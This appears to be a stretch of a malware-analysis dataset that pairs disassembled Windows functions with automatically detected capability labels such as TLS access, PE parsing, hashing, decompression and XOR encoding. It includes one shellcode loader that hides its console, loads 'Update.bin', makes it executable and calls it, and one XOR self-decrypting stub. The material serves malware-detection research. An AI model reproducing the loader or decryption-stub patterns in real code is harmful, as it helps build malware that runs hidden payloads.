joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14001daf0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.14001c770
mov ecx, dword [0x1400ce2f8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001db68
test byte [rbx + 0x40], 0xc
jne 0x14001db1f
mov eax, dword [0x140139d78]
test eax, eax
jne 0x14001db30
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.14001b9c0
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x14001db53
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x14001db53
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14001db7c
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001bc90
call fcn.14001c820
mov rbx, rax
test rax, rax
jne 0x14001db0f
add rsp, 0x28
pop rbx
pop rsi
ret
and eax, 0xfffffff3
mov rcx, qword [rbx + 0x30]
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14001db9a
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.14001bc90
call fcn.14001da00
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x14001dc18
call fcn.14001b680
mov rsi, rax
mov eax, 0xffffffff
cmp rsi, rax
cmovbe rax, rsi
mov rdi, rax
call fcn.14001c770
mov ecx, dword [0x1400ce2f8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001dc60
test rsi, rsi
je 0x14001dc2e
call fcn.14001daf0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001dc50
mov edx, edi
call fcn.14001b750
call fcn.14001daf0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001c770
mov ecx, dword [0x1400ce2f8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001dc70
call fcn.14001daf0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001daf0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001dc06
call fcn.14001c820
mov rbx, rax
jmp 0x14001dbec
call fcn.14001c820
jmp 0x14001dc2e
Function at 0x14001dbb0
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
call fcn.14001c770
mov ecx, dword [0x1400ce2f8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001db68
test byte [rbx + 0x40], 0xc
jne 0x14001db1f
mov eax, dword [0x140139d78]
test eax, eax
jne 0x14001db30
add rsp, 0x28
pop rbx
pop rsi
ret
lea rsi, [rbx + 0x38]
mov rcx, rsi
call fcn.14001b9c0
movzx eax, byte [rbx + 0x40]
test al, 3
je 0x14001db53
mov edx, dword [rbx + 0x44]
test dl, 1
je 0x14001db53
mov ecx, dword [rbx + 0x20]
test ecx, ecx
jle 0x14001db7c
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rsi
jmp fcn.14001bc90
call fcn.14001c820
mov rbx, rax
test rax, rax
jne 0x14001db0f
add rsp, 0x28
pop rbx
pop rsi
ret
and eax, 0xfffffff3
mov rcx, qword [rbx + 0x30]
and edx, 0xfffffffe
or eax, 4
mov dword [rbx + 0x44], edx
mov byte [rbx + 0x40], al
test rcx, rcx
je 0x14001db9a
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, rsi
call fcn.14001bc90
call fcn.14001da00
nop
nop dword [rax + rax]
push rdi
push rsi
push rbx
sub rsp, 0x20
test rcx, rcx
je 0x14001dc18
call fcn.14001b680
mov rsi, rax
mov eax, 0xffffffff
cmp rsi, rax
cmovbe rax, rsi
mov rdi, rax
call fcn.14001c770
mov ecx, dword [0x1400ce2f8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001dc60
test rsi, rsi
je 0x14001dc2e
call fcn.14001daf0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001dc50
mov edx, edi
call fcn.14001b750
call fcn.14001daf0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
call fcn.14001c770
mov ecx, dword [0x1400ce2f8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001dc70
call fcn.14001daf0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001daf0
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001dc06
call fcn.14001c820
mov rbx, rax
jmp 0x14001dbec
call fcn.14001c820
jmp 0x14001dc2e

Function at 0x14001dc80
Capabilities:
Get thread local storage value

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov esi, ecx
call fcn.14001c770
mov ecx, dword [0x1400ce2f8]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbx, rax
test rax, rax
je 0x14001dcf0
test esi, esi
je 0x14001dcd0
call fcn.14001daf0
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x14001dd00
mov edx, esi
call fcn.14001b750
call fcn.14001daf0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.14001daf0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14001daf0
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.14001c820
mov rbx, rax
jmp 0x14001dca1
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001dcba
Function at 0x140bc7058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140bc71df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140bc7089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bc706f
add dl, dl
jne 0x140bc7096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bc70f6
xor eax, eax
add dl, dl
jne 0x140bc70a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140bc71ad
add dl, dl
jne 0x140bc70b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bc70c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bc70d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bc70dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140bc70ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140bc707e
mov eax, 1
add dl, dl
jne 0x140bc7106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140bc7113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bc70fb
sub eax, ebx
mov ebx, 1
jne 0x140bc714c
mov ecx, 1
add dl, dl
jne 0x140bc712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bc713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bc7123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bc707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140bc7168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140bc7175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140bc715d
cmp eax, 0x7d00
jae 0x140bc719b
cmp eax, 0x500
jb 0x140bc7196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bc707e
cmp eax, 0x7f
ja 0x140bc719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140bc707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140bc71d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140bc707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14000f5a0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14000f5cd
xor al, al
jmp 0x14000f72f
mov rax, qword [0x14002f6b0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x14002f6b8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x14002f6c0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x14002f6c8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x14002f6d0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x14002f6d8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x14002f6e0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x14002f6e8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x14002f6f0]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x14000f721
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x14000f679
mov r11d, 2
jmp 0x14000f69d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x14000f693
mov r11d, 1
jmp 0x14000f69d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x14000f745
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x14000f6e2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14000f6fa
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14000f70a
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x14000f718
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x14000f660
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14000f72a
Function at 0x1800388c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xd0
mov rax, qword [0x1800b43d8]
xor rax, rsp
mov qword [rbp + 0x1f], rax
lea r12d, [r8 + 0x10]
mov qword [rbp - 0x41], rdx
mov r13, rcx
cmp r8d, r12d
jae case.0x180038928.2
mov r14, qword [rbp - 0x41]
lea r15d, [r8 - 5]
xor ebx, ebx
lea rdx, [0x180000000]
cmp r15d, 0x40
ja case.0x180038928.9
movzx eax, byte [rdx + r15 + 0x38b24]
mov ecx, dword [rdx + rax*4 + 0x38af4]
add rcx, rdx
jmp rcx
movsxd rax, dword [r13]
imul edx, eax, 0x1c
mov rcx, rax
mov rax, qword [r13 + 0x10]
mov r8d, dword [rax + rcx*4 - 4]
sub edx, 0x1c
test r8d, r8d
je 0x18003894c
inc edx
shr r8d, 1
jne 0x180038945
mov dword [rbp - 0x51], edx
jmp case.0x180038928.9
cmp dword [r13], 0
jne case.0x180038928.9
mov dword [rbp - 0x51], ebx
mov rax, qword [rbp - 0x51]
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.1800602e0
mov rbx, qword [rsp + 0x120]
add rsp, 0xd0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
movdqa xmm0, xmmword [0x1800acca0]
lea rcx, [rbp - 0x61]
movdqa xmm1, xmmword [0x1800accc0]
xor r9d, r9d
mov qword [rsp + 0x38], rbx
xor r8d, r8d
movups xmmword [rbp - 0x31], xmm0
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rbp + 0x17], 0x32
mov dword [rbp + 0x1b], 0x1e
movsd xmm0, qword [rbp + 0x17]
mov dword [rsp + 0x28], 0xe9
movsd qword [rbp - 0x11], xmm0
movups xmmword [rbp - 0x21], xmm1
mov dword [rbp - 0x59], 0xa
mov dword [rbp - 0x61], ebx
mov qword [rsp + 0x20], rbx
call fcn.180041cd0
mov r14, rax
jmp case.0x180038928.9
movsxd rsi, dword [rbp - 0x59]
mov rdi, rbx
test rsi, rsi
jle 0x180038a42
lea rbx, [0x18005f9a0]
nop word [rax + rax]
mov eax, dword [rbp + rdi*4 - 0x31]
lea r8, [rbp - 0x39]
mov dword [rbp - 0x69], eax
lea rcx, [rbp - 0x49]
lea rax, [rbp - 0x69]
mov qword [rbp - 0x49], rbx
mov r9, r14
mov qword [rbp - 0x39], rax
mov edx, 0x119
call fcn.18001af20
inc rdi
cmp rdi, rsi
jl 0x180038a10
xor ebx, ebx
mov dword [rbp - 0x69], ebx
jmp case.0x180038928.9
mov r9d, 0x13a
xor r8d, r8d
xor edx, edx
mov rcx, r14
call fcn.18001a3b0
jmp case.0x180038928.9
mov dword [rbp - 0x69], 0x39
jmp case.0x180038928.9
mov esi, dword [rbp - 0x59]
test esi, esi
jle case.0x180038928.9
lea rdi, [rbp - 0x31]
mov r8d, 0x89
mov qword [rbp - 0x49], rdi
mov rdx, r14
lea rcx, [rbp - 0x49]
call fcn.18001a050
add rdi, 4
sub rsi, 1
jne 0x180038a70
inc r15d
lea eax, [r15 + 5]
cmp eax, r12d
jae case.0x180038928.2
jmp 0x180038904
mov r9, qword [0x1800c9d18]
mov edx, 1
mov r8d, edx
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
jmp 0x180038966
mov rax, qword [rbp - 0x41]
lea r8, [rbp - 0x61]
mov rdx, r13
mov ecx, 0xdb
mov eax, dword [rax]
mov dword [rbp - 0x61], eax
call fcn.180016740
test rax, rax
jne 0x180038ae9
mov rax, rbx
jmp 0x180038966
mov rax, qword [rax]
jmp 0x180038966
Function at 0x18004ef20
Capabilities:
Hash data using djb2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov ebx, dword [rsp + 0xa8]
lea r13d, [r9 + 0x54]
mov r14, r8
mov r15, rdx
mov r12, rcx
cmp r9d, r13d
jae case.0x18004ef91.4
mov rbp, qword [rsp + 0x50]
lea esi, [r9 - 0xa6]
lea r9, [0x1800a9369]
xor r8d, r8d
lea rdx, [0x180000000]
cmp esi, 0x55
ja case.0x18004ef91.5
movzx eax, byte [rdx + rsi + 0x4f0c4]
mov ecx, dword [rdx + rax*4 + 0x4f0ac]
add rcx, rdx
jmp rcx
mov rbp, r12
jmp case.0x18004ef91.5
cmp qword [r14], 0
mov rax, r8
jbe case.0x18004ef91.5
nop dword [rax + rax]
mov edx, dword [r15]
mov ecx, eax
and ecx, 3
shl ecx, 3
shr edx, cl
mov byte [rax + rbp], dl
inc rax
cmp rax, qword [r14]
jb 0x18004efb0
jmp case.0x18004ef91.5
movzx eax, byte [r12]
mov ebx, 0x1505
mov rdi, r12
test al, al
je case.0x18004ef91.5
movzx ecx, al
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_tolower]
imul ebx, ebx, 0x21
lea rdi, [rdi + 1]
add ebx, eax
movzx eax, byte [rdi]
test al, al
jne 0x18004efe2
xor r8d, r8d
lea r9, [0x1800a9369]
jmp case.0x18004ef91.5
test r12, r12
jne 0x18004f05a
mov qword [rsp + 0x48], r8
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x40], r8
mov edx, 0xcd
mov qword [rsp + 0x38], r9
xor ecx, ecx
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r8
mov dword [rsp + 0xa8], r8d
lea r8, str.a___NULL
call fcn.180026490
xor r8d, r8d
lea r9, [0x1800a9369]
movsxd rax, dword [r14]
cmp eax, dword [r12]
jge 0x18004f074
test eax, eax
js 0x18004f074
mov rcx, rax
mov rax, qword [r12 + 0x10]
mov ebx, dword [rax + rcx*4]
jmp case.0x18004ef91.5
mov ebx, r8d
add esi, 0xe
lea eax, [rsi + 0xa6]
cmp eax, r13d
jb 0x18004ef6f
lea r11, [rsp + 0x60]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140fdbc4c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140fdbc56
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140fdbc7f
pop rbp
sub rbp, 0x33
sub rbp, 0xfdbc4c
sub rsp, 0x20
jmp 0x140fdbc9e
mov rax, 0xfdbc4c
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0xfffffffff9b14f1c
xor byte [rax], dl
inc rax
dec rcx
jne 0x140fdbcbd
jmp 0x140fdbcd4
push rsp
xchg ebp, eax
cmc
xchg edi, eax
xchg ebp, eax
and byte [rsp + rbx], bl
sbb al, 0x54
popfq
fst qword [rbx + 0x1d541c1c]
cmc
push rsp
fcmovnu st(0), st(4)
sbb ebx, dword [rsp + rbx]
sbb al, 0x54
fcmovnu st(0), st(6)
xor al, 0x1c
sbb al, 0x1c
push rsp
jmp 0x140fdbcf6
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004420]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004430]
mov dword [rax], 1
mov rax, qword [0x140004440]
mov dword [rax], 1
mov rax, qword [0x140004380]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004410]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x1400044c0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004360]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hide graphical window
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call sym.__main
lea rax, str.Update.bin
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140001491
mov rax, qword [rbp - 0x10]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
mov rax, qword [rbp - 8]
lea rdx, [0x14000400b]
mov rcx, rax
call sym.fopen
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400014b9
mov eax, 1
jmp 0x14000159d
mov rax, qword [rbp - 0x18]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.ftell
cdqe
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.rewind
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x14000151b
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.fclose
mov eax, 1
jmp 0x14000159d
mov rcx, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x28]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.fclose
lea rcx, [rbp - 0x34]
mov rdx, qword [rbp - 0x20]
mov rax, qword [rbp - 0x28]
mov r9, rcx
mov r8d, 0x40
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
test eax, eax
jne 0x14000157e
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.free
mov eax, 1
jmp 0x14000159d
mov rax, qword [rbp - 0x28]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.free
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x140001870
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1400018e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
test esi, esi
mov rbx, rcx
jle 0x140001a10
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000192b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400019b5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001910
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x140001a32
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001a17
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400019ae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400019c0
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x140007098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400019ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001938
mov rax, qword [0x140007098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001fa0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001ffc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001ff3
test rsi, rsi
je 0x140001ff3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001fd8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002210
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop

Function at 0x140002220
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop

Function at 0x140002230
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002248
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002250
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002260
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x1400022ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x1400022a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400022af
add rax, 0x28
cmp rax, r9
jne 0x140002290
xor eax, eax
ret

Function at 0x1400022b0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002340
mov rdx, qword [0x140004380]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000232e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000232e
cmp word [rax + 0x18], 0x20b
jne 0x14000232e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002340
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002319
add rbx, 0x28
cmp rbx, rdi
je 0x140002340
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002310
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002350
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004380]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002370
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002378
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002370
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400023cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x1400023c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002370
add rax, 0x28
